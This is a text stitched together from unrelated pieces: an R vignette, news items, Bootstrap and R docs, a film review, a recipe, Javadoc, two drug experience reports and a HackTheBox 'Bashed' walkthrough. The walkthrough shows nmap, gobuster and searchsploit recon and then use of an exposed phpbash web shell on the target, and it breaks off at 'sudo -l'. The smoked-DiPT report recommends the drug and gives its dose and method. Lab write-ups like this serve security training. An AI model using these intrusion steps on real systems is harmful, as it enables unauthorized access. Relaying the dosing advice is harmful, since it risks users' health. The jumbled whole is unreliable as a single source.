Conceptual Schema¶
The onceptual schema is composed of two main parts, that model software development support tools and communication channels. The former includes concepts related to Git Version Control Systems (VCSs) and Bugzilla issue tracker, while the latter deals with Eclipse forums and StackOverflow Q&A. The schema contains also some derived attributes and concepts used to make explicit some information that is normally hidden or hard to query. Both parts of the conceptual schema and the derived information are shown below.


vignettes/not-built-vignettes/tb-data-vis.Rmd
tb-data-vis.Rmd
Recap our model fitting results from the TB data
We will visualize the best model in the data by
Sample new clusters from our best model
We have run the code (but do not show) that was used to fit our base model to the TB data. For more details see the data results section.
We can approximate the probability that individual an individuals with probability \(p_A\) of infecting an individual with probability \(p_B\). We provide the function mc_trees_to_A_infects_B
which calculates this probability for you for a given cluster. We look at cluster 27. For this exercise, we sample a new set of MC trees than what was used to fit the model.
par_ests <- c("Intercept" = -.72690792, "smear" = -.09322607, "hiv_neg_pos" = -0.36415841, "hiv_unk_pos" = -0.56817810, "rel_time" = .345552628) mc_trees <- sample_mc_trees(clusters %>% filter(cluster_id == 27), B = 10000, multiple_outside_transmissions = FALSE, covariate_names = names(par_ests))
plotting_df <- mc_trees_to_A_infects_B(my_id = 27, par_ests = par_ests, mc_trees = mc_trees, output = "tidy")
We can then plot the associations, for example, with a heat map. The output of mc_trees_to_A_infects_B()
is a long data frame of probability that \(A\) infected \(B\), which is estimated over the MC samples.
ggplot(data = plotting_df) + geom_tile(aes(y = factor(infector_id), x = factor(infected_id), fill = prob * 100)) + theme_bw(base_size = 10) + labs(title = "Estimated transmission probability of TB from person A to B", subtitle = sprintf("Individuals in cluster %s", 27), y = "Infector ID", x = "Infected ID") + theme(legend.position = "bottom", panel.grid.major = element_blank(), panel.border = element_blank()) + scale_fill_gradient(low = "gray90", high = "black", name = latex2exp::TeX("Prob. A infects B (%)"), na.value = "white")


Vermont town set to recoup money lost in email scam
NORWICH, Vt. (AP) - A Vermont town will recoup nearly $250,000 lost in an email scam.
Norwich Town Manager Herb Durfee says the Vermont League of Cities and Towns, the town’s insurer, will cover nearly $169,000.
The Valley News reports that in addition to the insured money, Comerica Bank returned nearly $80,000, which leaves Norwich out $1,000, the cost of its insurance deductible.
A report released by Norwich says the money was lost when former Finance Director Donna Flies ignored instructions to stop unauthorized payments from municipal accounts.
Dufree says Flies no longer works for Norwich. Flies has said she make “stupid mistakes.”
The Vermont League of Cities and Towns’ recommendations include the implementation a whistleblower policy; cyber security training; and new procedures to familiarize all staff with town policies when hired.
Information from: Lebanon Valley News, http://www.vnews.com
Sign up for Daily Newsletters
Copyright © 2019 The Washington Times, LLC.
Please read our comment policy before commenting.


Throughout the past week, I have had a variety of ideas for what my proposal could be. At first I thought it would be interesting to explore the concept of telling the time through ones heartbeats. It is estimated that every ten seconds, someone dies and every 7, someone is born. Perhaps after every 7 counts a new pulse appears and afer every 10, a pulse flatlines. Another idea I had was to explore the circulation of blood around a body, perhaps having the bloodstream re-enter the heart after a certain amount of time. Lastly, and most preferably, was the concept of following a life to measure time.  A variety of images and sounds could then become evident (eg. a bicycle, a wedding dress, etc) in the reflection of the characters eye. Perhaps even, her emotions could be explored as she may sped a tear or have redder eyes when tired. This could end with eyes closing again after a certain amount of time (eg. 10 seconds), and the loop beginning again. Other ideas I had, yet have not drawn were to explore the moon cycle to tell time, or the lifecycle of a butterfly.


| AbstractGroupCondition (100%) |
| Aggregator (N/A) |
| AndMatcher (86%) |
| Argument (67%) |
| ArgumentComparator (100%) |
| ArgumentConverter (100%) |
| ArgumentGroupCondition (93%) |
| ArgumentsFactory (87%) |
| Chooser (100%) |
| ChooserOnArgument (100%) |
| ClassImposterizer (87%) |
| Concat (100%) |
| Converter (N/A) |
| DefaultStringConverter (100%) |
| Group (N/A) |
| GroupCondition (N/A) |
| GroupConditions (100%) |
| GroupImpl (97%) |
| GroupItem (88%) |
| Groups (93%) |
| HasArgumentWithValue (95%) |
| HasNestedPropertyWithValue (86%) |
| IntrospectionUtil (83%) |
| Invocation (84%) |
| InvocationException (50%) |
| InvocationInterceptor (100%) |
| InvocationSequence (100%) |
| Lambda (95%) |
| LambdaJMatcher (100%) |
| LeafGroup (88%) |
| Max (100%) |
| MaxOnArgument (100%) |
| Min (100%) |
| MinOnArgument (100%) |
| OrMatcher (86%) |
| PropertyComparator (100%) |
| PropertyExtractor (100%) |
| ProxyAggregator (100%) |
| ProxyArgument (85%) |
| ProxyIterator (100%) |
| ProxyUtil (93%) |
| StringConverter (N/A) |
| StringGroupCondition (100%) |
| StringLengthConverter (100%) |
| StringPropertyExtractor (100%) |
| Sum (92%) |
| SumDouble (100%) |
| SumInteger (100%) |
| SumLong (33%) |
| UnproxableClassException (100%) |


Layout
The layout structure consists of two columns. The first column is the sidebar and the second is the app content that takes the remaining width. The basic code of the layout structure can be seen below.

Sidebar
The sidebar is the left column of the layout structure and has a header and a navigation. The template was designed using a sidebar with a maximum of two level of navigation.
Header
The header of the sidebar comes first. It contains the user informations like photo and name.
Navigation
The first level of navigation is defined by a list of links and takes the user to desired page. The
second level of navigation is defined by a nested list. Also, you can optionally use headers for
group of links defined by class .sidebar-nav-header
and line separator defined by the
tag hr
.
The attribute data-parent
configures the accordion menu (refer to bootstrap documentation for
details).
Content
The content is the right column of the layout structure and contains the page content that the user
navigated to. The content header is defined by class .content-header
and preserves the
static position of the navbar. The content body is defined by class .content-body
and
can contain the components of the bootstrap such as cards, forms, tables and any other components
you may need.

Admin 4B

Layout

Sidebar

Hello World!

Responsive
The template uses the bootstrap breakpoints to define the minimum width to show the sidebar. When
hidden the attribute data-toggle="sidebar"
can be used to show the sidebar. The sidebar
will be hidden whenever the user click outside of the sidebar area.
Methods
A few methods are available for toggle the sidebar via JavaScript:
| Method | Description |
|---|---|
sidebar('show') |
Shows the sidebar. |
sidebar('hide') |
Hides the sidebar. |
Theming
Theming can be done overriding Sass variables and custom CSS as well as in the bootstrap.
Example
An example code for the full setup of the sidebar can be seen below.

John Doe
[email protected]

Get started

Guideline

Device controls

Camera

File manager

Forms

Basic form

Tabbed form

Admin 4B

Layout

Sidebar

Hello World!

What's next?
The app structure is complete. From here you can decide what you want to see next.


CINEMA PARADISO A film review by Rui Sadio Translated from the Portuguese by Rui Sadio Copyright 1996 Rui Sadio
The reason why this review will be very synthetized is because sometimes there are things which can not be described or explained by words. Well, I think CINEMA PARADISO is in this conditions.
First of all, I must say that CINEMA PARADISO is, in my opinion, the most beautifull movie I ever saw in my all life and I'm sure that it will be difficult to see another movie as good as it in the next years.
CINEMA PARADISO is a great homage to the cinema; it's a story (perhaps a lesson) of love and friendship between people; it's a very particular view about life and dreams.
Everybody who sees CINEMA PARADISO can not be indifferent to the simplicity and, at the same time, the power of its message.
I congratulate Giuseppe Tornatore for his magnificent work, as well as Philippe Noiret and Salvatore Cascio, whose performances as Alfredo and Toto will be saved, forever, in the golden pages of Cinema History.
CINEMA PARADISO is more than a film to be seen, it's a film to be felt by our heart.
CLASSIFICATION (1 to 10): 10
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


I'm writing this report on the same night as the experience, it's 2:46am. I wanted to capture some of the feelings I have felt during the night.
I'm 21 but inside I feel 3/4 years younger, I'm going to Uni this year so I'm kinda writing those years off AS my depression/confused state. It has nothing to do with this story, it's just a background.
My experience with mind altering substances is limited, basicly I have never known the right people to even get the opportunity to experiment. Even so, I tend to prefer using drugs that enhance or change the experience of activites I already do, like being with friend or just watching TV. To date I've used alcohol, cannabis and salvia divinorum.
I first tried absinthe a year ago, I was interested in its hallucinogenic properties, making it different from the usual alcohol. My friend got a bottle of Sebor Absinthe, it was expensive apparently but he works so likes to splash the cash around. We decided to drink some while watching the Eurovision Song Contest, it's such a sad thing to watch but I love watching it drunk with a friend or two. As a 'National Event' I prefer it to the World Cup and other boring sports.
We poured out a glass each over some ice, (one of the suggested recipes). It's supposed to change colour, that's another fun thing about it. It eventually went from clear green to a milky yellow/green, nothing as exciting as we expected. As for the taste, well it was pretty bad, kinda licorice-y but to me it tasted more like Bonjella, that gel you rub on your gums when they're sore. Not a bad taste, but not one you expect to drink. It creates a shudder after taking a gulp. Nothing except a normal alcohol buzz happened that night. My friend hated the stuff much more than me so he said I was welcome to the rest.
It spent the next year sitting on the floor in my backroom and then on my windowsill. The sunlight had made it go yellow, but the label reasures this doesn't affect it's taste or effects.
Well tonight I finally fancied trying it again. There was a 1/2 pint left in the bottle, enough for one glass. I read another recipe - dipping a spoonfull of sugar into the absinthe, setting fire to it and letting it drip into the glass. I tried it but the crackling sound in the spoon made me just stir it into the rest quickly. I filled it up with ice, got a straw and sat down to watch the TV.
The taste was still awful but I could take a few sucks, swallow then shudder. At about half way down the glass the effects hit me quite suddenly. It's hard to say why but it felt a little different than alcohol, no drink has ever hit me that suddenly, it's been much more gradual. When I moved the glass towards me again I felt my movement had speeded up. Every movement I made looked like lightning speed and like it wasn't me at all, more like watching a movie of me.
Big Brother was the absolute best thing to be watching, it just made *me* feel more social, I couldn't wait for uni, where I could drink with my flatmates all night, it was gonna be great. I just felt like I was almost in the Big Brother house, like I could get into any of their conversations. Then I suddenly got the thought. I REALLY wanted to go outside for a walk, I've been for middle of night walks before, even a bike ride once, so it's not too bizzare, it's just something I've always had to convince myself to do.  But I decided that after Big Brother I would go out, while it was on I kept imagining myself outside, I was looking forward to it.
At one point I looked over to my rats, I felt the sudden urge to touch and hold them. So I did. They're my kids, I love them. They probably thought I was nuts but I had to cuddle all four of them. I couldn't belive that I once worried I might hurt them or another pet if under the influence of something I would never do that. This enhances my love, not hides it. I always hide love when sober.
Big Brother finished at 2:05am. When it finished I switched over to E4 on satellite where they have the live feed of Big Brother, for a second I was relieved that I could still watch them if I wanted, it wasn't over. But I said I was going out, so I got my shoes on, left my jogging bottoms on that I never go out in. Got my keys, then quietly as possibly opened the door and porch door and went outside.
The freedom was amazing, I turned right at the gate and decide to walk round the block. The other side of the block is opposite the train station, it's light there and there's always taxis. There's also an office building next to the block. I didn't think about them for now and just carried on walking round the block. It's a main road but no cars past me. I decided to run, it was great, I held my arms up in the air wondering if anyone in the houses would be up and looking at me through the window.
Back home, when I closed the front door it still felt like I was watching a movie of my arm's actions. I decided to make a pot noodle, I love to eat junk like that after drinking. Then I came in here to write this. I'm so fed up with chatrooms these days but felt the urge to go to one and announce I'd been drinking, but I came to write this instead otherwise it would have never come out. When completely sober, I never want to bother doing things, even things I want to do. I procrastinate too much, sometimes I think I function a little better when drunk. Alcohol is underrated by users of other drugs I think.
Even if this is the effects of alcohol, it's just a little different to normal, and it was only half a pint. I might try brewing my own absinthe, it would be a fun hobby anyway. I hope this makes sense in the sober world.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


A simmcorp is a simulated corporation which comprises part of the vCity simulated economy. Below you will find an alphabetical list of all the simmcorps in existence, except for those we haven't listed yet because we're pretty busy, you know?
In many of the descriptions of simmcorps you will see irritating paranthetical expressions such as [vTmk] or [vP]. These stand for vTrademark and vPatent, respectively. It should be obvious that these designations do not mean that the actual words and technologies have been trademarked or patented in any national jurisdiction. We like doing it this way because it cuts down on paperwork. Anyway, if, by some weird chance, one of the names or descriptions you peruse herein happens to be depressingly similar to something in the real world (or even worse an accidental duplication of a real trademark) and if this upsets you, please let us know. We can work things out; that's life in a peaceful anarchy.
| Simmcorp Name | Estimated Annualized Revenue in US$ | Number of Simmizens Employed |
|---|---|---|
| AdTWV, Inc. | ||
| AerospaceSmiths, Inc. | ||
| BFC, Inc. | ||
| BJC, Inc. | ||
| Capital Per Capita, Inc. | 344,608,000 | 509 |
| Center For Forest Preservation and Management, Inc. | ||
| Center for Preservation and Study of Desert Ecologies, Inc. | ||
| Center for Study of Reduction of Traffic-Related Deaths, Inc. | ||
| Center for Study of Work-Related Health Care Issues, Inc. | ||
| EEB Corporation | ||
| Good Luck Cartel | ||
| Haul It High, Inc. | 1,178,345,000 | 7,810 |
| HTC, Inc. | ||
| HEPCAT, Inc. | ||
| Ivan's DomDirigible Repair Shop, Inc. | ||
| Jaguar Personal Security Services, Inc. | ||
| KarmicWheel, Inc. | ||
| LiC, Inc. | ||
| Pisces Corporation | ||
| PAFA, Inc. | ||
| PBL, Inc. | ||
| Smart Lanes Corporation | 162,912,000 | 452 |
| Sucrotech | ||
| USNIWA, Inc. | ||
| VOTB, Inc. | ||
| Virtual Land Institute for the Study of Prarie Ecosystems, Inc. |


Note that THIS FEATURE IS STILL EXPERIMENTAL: we strongly recommend checking
a few converted dates manually. This function tries to extract dates from a
character
vector or a factor
. It treats each entry independently, using
regular expressions to detect if a date is present, its format, and if
successful it converts that entry to a standard Date
with the Ymd format
(e.g. 2018-01-21
). Entries which cannot be processed result in NA
. An
error threshold can be used to define the maximum number of resulting NA
(i.e. entries without an identified date) that can be tolerated. If this
threshold is exceeded, the original vector is returned.
guess_dates( x, error_tolerance = 0.1, first_date = NULL, last_date = Sys.Date(), orders = getOption("linelist_guess_orders"), quiet = TRUE, modern_excel = TRUE )
| x | a |
|---|---|
| error_tolerance | a number between 0 and 1 indicating the proportion of entries which cannot be identified as dates to be tolerated; if this proportion is exceeded, the original vector is returned, and a message is issued; defaults to 0.1 (10 percent) |
| first_date | a Date object specifying the first valid date. Defaults to
fifty years before the |
| last_date | a Date object specifying the last valid date. Defaults to the current date. |
| orders | date codes for fine-grained parsing of dates. This allows for
parsing of mixed dates. If a list is supplied, that list will be used for
successive tries in parsing. This is passed on to
|
| quiet | a logical indicating if messages should be displayed to the
console ( |
| modern_excel | When parsing dates from excel, some dates are stored as
integers. Modern versions of Excel represent dates as the number of days
since 1900-01-01, but pre-2011 Excel for OSX have the origin set at
1904-01-01. If this parameter is |
Converting ambiguous character strings to dates is difficult for many reasons:
dates may not use the standard Ymd format
within the same variable, dates may follow different formats
dates may be mixed with things that are not dates
the behaviour of as.Date
in the presence of non-date is hard to predict,
sometimes returning NA
, sometimes issuing an error.
This function tries to address all the above issues. Dates with the following format should be automatically detected, irrespective of separators (e.g. "-", " ", "/") and surrounding text:
"19 09 2018"
"2018 09 19"
"19 Sep 2018"
"2018 Sep 19"
"Sep 19 2018"
This function relies heavily on lubridate::parse_date_time()
, which is an
extremely flexible date parser that works well for consistent date formats,
but can quickly become unweildy and may produce spurious results.
guess_dates()
will use a list of formats in the orders
argument to run
parse_date_time()
with each format vector separately and take the first
correctly parsed date from all the trials. By default, the orders are in
getOption("linelist_guess_orders")
:
list( world_named_months = c("Ybd", "dby"), world_digit_months = c("dmy", "Ymd"), US_formats = c("Omdy", "YOmd") )
In this case, the dates 03 Jan 2018, 07/03/1982, and 08/20/85 are correctly
intepreted as 2018-01-03, 1982-03-07, and 1985-08-20. The examples section
will show how you can manipulate the orders
to be customised for your
situation.
clean_dates()
for cleaning of data frames
# Mixed format date ----------------------------------------- guess_dates(c("03 Jan 2018", "07/03/1982", "08/20/85")) # default#> [1] "2018-01-03" "1982-03-07" "1985-08-20"# Prioritizing specific date formats ------------------------ # # The default orders prioritize world date ordering over American-style. print(ord <- getOption("linelist_guess_orders"))#> $world_named_months #> [1] "Ybd" "dby" #> #> $world_digit_months #> [1] "dmy" "Ymd" #> #> $US_formats #> [1] "Omdy" "YOmd" #># if you want to prioritize American-style dates with numeric months, you # can switch the second and third elements of the default orders print(ord <- getOption("linelist_guess_orders"))#> $world_named_months #> [1] "Ybd" "dby" #> #> $world_digit_months #> [1] "dmy" "Ymd" #> #> $US_formats #> [1] "Omdy" "YOmd" #>#> $world_named_months #> [1] "Ybd" "dby" #> #> $US_formats #> [1] "Omdy" "YOmd" #> #> $world_digit_months #> [1] "dmy" "Ymd" #>#> [1] "2018-01-03" "1982-07-03" "1985-08-20"# Handling dates with time formats -------------------------- # # If you have a format with hours, minutes and seconds, you can also add that # to the list of formats. Note, however, that this function will drop levels # below day. print(ord$ymdhms <- c("Ymdhms", "Ymdhm"))#> [1] "Ymdhms" "Ymdhm"#> [1] "2014-04-05" "2018-01-03" "1982-03-07" "1985-08-20"# Handling missing and nonsense data ----------------------- # # guess_dates can handle messy dates and tolerate missing data x <- c("01-12-2001", "male", "female", "2018-10-18", NA, NA, "2018_10_17", "43391", "2018 10 19", "// 24/12/1989", "this is 24/12/1989!", "RECON NGO: 19 Sep 2018 :)", "6/9/11", "10/10/10") guess_dates(x, error_tolerance = 1) # forced conversion#> [1] "2001-12-01" NA NA "2018-10-18" NA #> [6] NA "2018-10-17" "2018-10-18" "2018-10-19" "1989-12-24" #> [11] "1989-12-24" "2018-09-19" "2011-09-06" "2010-10-10"guess_dates(x, error_tolerance = 0.15) # only 15% errors allowed#> [1] "01-12-2001" "male" #> [3] "female" "2018-10-18" #> [5] NA NA #> [7] "2018_10_17" "43391" #> [9] "2018 10 19" "// 24/12/1989" #> [11] "this is 24/12/1989!" "RECON NGO: 19 Sep 2018 :)" #> [13] "6/9/11" "10/10/10"


Retrieve Attendance
Semester:
1
2
3
4
5
6
7
8
Department:
ECE
CSE
ISE
IT
BT
ME
Course Type:
CORE
LOCAL ELECTIVE
GLOBAL ELECTIVE
Academic Year:


Two men arrested on immigration and drug offences as cannabis seized
by Matthew EarthTwo men are being questioned by police after being arrested on suspicion of drug and immigration offences in Ipswich.
Suffolk Constabulary confirmed a number of cannabis plants were also seized in the raid in Nacton Road.
The two men, aged 19 and 37, were arrested on suspicion of immigration offences, the production of cannabis and being concerned in supplying drugs.
The 37-year-old was also arrested on suspicion of money laundering.
The pair were taken to Martlesham Police Investigation Centre for questioning.


Preparation time
less than 30 mins
Cooking time
10 to 30 mins
Serves
Serves 2
NB: If using larger steak pieces (450g/1lb or more), preheat the oven to 190C/375F/Gas 5. After initially frying the steak, place in to the preheated oven and cook for a further eight minutes if you like your meat rare, longer if required.
Make a horizontal cut into the side of each steak to create a pocket and insert the Peppadew peppers.
Press the cracked peppercorns into both sides of the steak.
Heat a frying pan over a high heat and add the butter and oil. When the butter is foaming, add the steak and cook for two minutes on each side, or until cooked to your liking. Remove the meat and set aside on a plate to rest in a warm place.
Reduce the heat to medium and add the brandy to the frying pan. Carefully light the brandy and flambé. When the flames have died out, scrape up all the meat juices with a wooden spoon.
Add the mustard, Worcestershire sauce, beef stock and red wine and whisk to combine. Cook until the sauce has thickened and reduced in volume by a third.
Pour any juices that have seeped from the steaks into the sauce and stir.
Add the green peppercorns and cream and cook for a further two minutes. Season, to taste, with salt.
Place the steak back into the frying pan with the sauce to warm the meat through. Do not boil the sauce.
Remove the steak and place onto a plate. Drizzle over the sauce and serve with chips or new potatoes and a watercress salad.


Ian Fletcher's JS Quiz
Timer : ___
Start!
Is Java Script the best language?
Yes
No
Maybe
Duh
High Scores!


Pressing SET SPLIT, LOAD ONE loads various miscellaneous files. This differs from loading programs in that a missing file on the external drive does not cause the corresponding file to be deleted from the Chroma. The operation is performed in stages, giving the user the opportunity to copy or not copy each file or group of files. The things that may be copied (including their file names) are:
| main firmware | chroma |
The firmware that generates the sound. If this is copied, it will be executed when the Digital Chroma is restarted | |
| panel firmware | panel.bin |
The firmware for the small microprocessor on the control panel
responsible for scanning inputs, driving the display, and handling the
{_USB_device_port}. If new versions of chroma and
panel.bin are both provided, they must both be loaded before
the Digital Chroma is restarted, or they may be unable to communicate
with each other. |
|
| calibration data | cal.ini |
The calibration data. | |
| configuration file | config.ini |
An optional configuration file that can modify some of the startup parameters to the main firmware. | |
| global parameters | globals.ini |
The {_global_parameter} settings. | |
| reverb definitions | rev0-3.ini |
These four files contain parameters that control the reverb algorithm for the four "rooms". |
Any file or group of files that doesn't exist on the external drive, or that matches the corresponding file or files in the Chroma, is skipped over.


| DOSE: |
|
smoked |
DiPT |
(powder / crystals) |
This is my retrospective view of DiPT.
For those unfamiliar with the chemical, it's a tryptamine that tends to alter sound instead of visuals.
When I bought it, I thought I was getting DPT, but the site didn't use abreviations but rather the full name. I missed the extra 'iso' in the name and bought DiPT by accident.
I smoked a dose the size of the head of a thumbtack more or less the first time.
I used the 'lightbulb vaporizer' method to smoke it. It was a beige powder that frankly smelled like feces, which most tryptamines do I find.
One full hit from the bulb produced a severe drop in pitch in most sounds.
A second hit would result in more disharmonious music. It was quite interesting actually. Background sounds seemed to move to the foreground and vice versa. It was almost like listening to your favorite songs for the first time. I found great interest in music, and listened to lots of different kinds.
In general the sound was about an octave lower it seemed, and this applied to peoples' voices as well as music and noises in general.
Further hits turned almost all sounds into a metallic bell sound. Guitar solos would sound like someone striking metal bells.
At 3-4 full hits from the lightbulb, visual effects were noted. I would see ripples and distortion visually. This only lasted maybe 20-30 minutes.
Physically the only negative effect was bloating in the stomach after the first hit. Eating a couple of ''Tums'' tablets cured this instantly, and from there it was comfortable.
I really enjoyed this chemical, but I'm writing this report with a word of caution:
I probably consumed about 350-400mg smoked myself. A friend helped with the other 100-150. I experienced mild tinnitus (ringing in the ears) for about 3 months after using DiPT for roughly 3 months.
At the start, it was just annoying enough to merit using headphones with music to sleep.
It stopped after a few months. It seemed to gradually disappear.
So just a word of caution. This material is fascinating and amazing, but should be used sparingly so as not to acquire any ear damage.
Otherwise, I highly recommend trying DiPT smoked. It's an experience unlike any other.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


- DEBUG_MH - Static variable in class bartMachine.bartMachine_g_mh
-
turning this flag on prints out debugging information about the Metropolis-Hastings tree search step
- DEBUG_NODES - Static variable in class bartMachine.bartMachineTreeNode
-
Setting this to true will print out debug information at the node level during Gibbs sampling
- DebugInitialization() - Method in class bartMachine.bartMachine_c_debug
-
the hook that gets called to save the tree illustrations when the Gibbs sampler begins
- DebugSample(int, TreeArrayIllustration) - Method in class bartMachine.bartMachine_c_debug
-
the hook that gets called to save the tree illustrations for each Gibbs sample
- decrement_variable_count(int) - Method in class bartMachine.bartMachineTreeNode
-
When counting the attributes used in this tree's split rules, decrement the following attribute
- deepestNode() - Method in class bartMachine.bartMachineTreeNode
-
Find the terminal node at the largest depth from this point in the tree and down
- DEFAULT_CLASSIFICATION_RULE - Static variable in class bartMachine.bartMachineClassificationMultThread
-
The default value of the classification_rule
- DeleteBurnInsOnPreviousSamples() - Method in class bartMachine.bartMachine_e_gibbs_base
-
deletes from memory tree Gibbs samples in the burn-in portion of the chain
- DeletePreviousTreeIllustrations() - Static method in class bartMachine.TreeIllustration
-
- depth - Variable in class bartMachine.bartMachineTreeNode
-
the generation of this node from the top node (root note has generation = 0 by definition)
- depth_in_num_splits - Variable in class bartMachine.TreeIllustration
-
- depth_in_px_per_split - Static variable in class bartMachine.TreeIllustration
-
- destroy() - Method in class bartMachine.bartMachineRegressionMultThread
-
to save memory, delete all the data for this BART model on all Gibbs chains
- destroyed - Variable in class bartMachine.bartMachineRegressionMultThread
-
"Destroyed" means this model's Gibbs samplers' data has been released to RAM and hence cannot be operated on
- DoGibbsSampling() - Method in class bartMachine.bartMachine_e_gibbs_base
-
Run the Gibbs sampler for the total number of samples prespecified while flushing unneeded memory from the previous sample
- doMHChangeAndCalcLnR(bartMachineTreeNode, bartMachineTreeNode) - Method in class bartMachine.bartMachine_g_mh
-
Perform the change step on a tree and return the log Metropolis-Hastings ratio
- doMHGrowAndCalcLnR(bartMachineTreeNode, bartMachineTreeNode) - Method in class bartMachine.bartMachine_g_mh
-
Perform the grow step on a tree and return the log Metropolis-Hastings ratio
- doMHPruneAndCalcLnR(bartMachineTreeNode, bartMachineTreeNode) - Method in class bartMachine.bartMachine_g_mh
-
Perform the prune step on a tree and return the log Metropolis-Hastings ratio
- DoOneGibbsSample() - Method in class bartMachine.bartMachine_e_gibbs_base
-
Run one Gibbs sample at the current sample number
- DoOneGibbsSample() - Method in class bartMachine.bartMachineClassification
-
A Gibbs sample for binary classification BART is a little different
than for regression BART.
- drawSigsqFromPosterior(int, double[]) - Method in class bartMachine.bartMachine_e_gibbs_base
-
- drawSigsqFromPosterior(int, double[]) - Method in class bartMachine.bartMachine_f_gibbs_internal
-
Draws one variance from the posterior distribution
- drawSplit(bartMachineTreeNode, int, int) - Method in class bartMachine.TreeIllustration
-
- drawTitle(HashMap<String, String>) - Method in class bartMachine.TreeIllustration
-
- dumpDataToFile(String) - Method in class bartMachine.Classifier
-
Useful for debugging.


HackTheBox - Bashed [no metasploit]
Reconnaissance
export ip=<IP_ADDRESS>
Starting with a Nmap TCP scan to discover used ports and services behind, with our usual options:
-sC
runs defaults Nmap scripts-sV
tries to identify the software versions-oA
will output the results in files prefixed by nmap_tcp and using the formats xml, nmap and gnmap-p-
will scan all ports and not the 1000 usual ones
$ sudo nmap -O -sV -sC -oA nmap_tcp -p- $ip
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-31 17:13 CET
Stats: 0:00:51 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for <IP_ADDRESS>
Host is up (0.041s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=10/31%OT=80%CT=1%CU=36183%PV=Y%DS=2%DC=I%G=Y%TM=5F9D8D
OS:6F%P=x86_64-unknown-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS
OS:=8)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M
OS:54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=71
OS:20)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=
OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q
OS:=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A
OS:%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y
OS:%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T
OS:=40%CD=S)
Network Distance: 2 hops
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.30 seconds
And let’s start a UDP scan (with the -sU
flag) in the background:
sudo nmap -sU -oA nmap_udp_light $ip
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-01 22:25 CET
Nmap scan report for <IP_ADDRESS>
Host is up (0.040s latency).
All 1000 scanned ports on <IP_ADDRESS> are closed
Nmap done: 1 IP address (1 host up) scanned in 1087.67 seconds
Strategy
Our target is fairly clear here, there’s only one service to attack: the Apache server. Let’s try to see if we can find public exploits affecting version 2.4.18.
Website - port 80
Website
Let’s visit the website at http://<IP_ADDRESS>
What’s this phpbash thing? There’s a github link to https://github.com/Arrexel/phpbash, a PHP interactive shell. Just drop the file on the server and execute commands!
Unfortunately, http://<IP_ADDRESS>/uploads/phpbash.php is not available:
Dead-ends:
- http://<IP_ADDRESS>/config.php => exists but empty
- http://<IP_ADDRESS>/uploads => exists but empty
Vulnerability
Quick check on CVEs for Apache 2.4.
:
searchsploit apache 2.4
---------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner | php/remote/29316.py
Apache 2.2.4 - 413 Error HTTP Request Method Cross-Site Scripting | unix/remote/30835.sh
Apache 2.4.17 - Denial of Service | windows/dos/39037.php
Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalation | linux/local/46676.php
Apache 2.4.23 mod_http2 - Denial of Service | linux/dos/40909.py
Apache 2.4.7 + PHP 7.0.2 - 'openssl_seal()' Uninitialized Memory Code Execution | php/remote/40142.php
Apache 2.4.7 mod_status - Scoreboard Handling Race Condition | linux/dos/34133.txt
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak | linux/webapps/42745.py
There’s only a local privilege escalation compatible with our apache version, linux/local/46676.php
. No good for us.
Recon
Let’s run gobuster
and see if there’s any interesting directory:
$ gobuster -u http://<IP_ADDRESS> -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
/images (Status: 301)
/js (Status: 301)
/css (Status: 301)
/uploads (Status: 301)
/config.php (Status: 200)
/dev (Status: 301)
/php (Status: 301)
/fonts (Status: 301)
/server-status (Status: 403)
Shell as www-data
The dev
directory sounds interesting, let’s check it out:
We’re allowed to list files in that directory and look, there’s our phpbash.php
here! Browse to http://<IP_ADDRESS>/dev/phpbash.php to have an interactive shell:
user.txt
And huh, this is how we can get access to the first flag, in /home/arrexel
:
www-data@bashed:/home/arrexel# sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
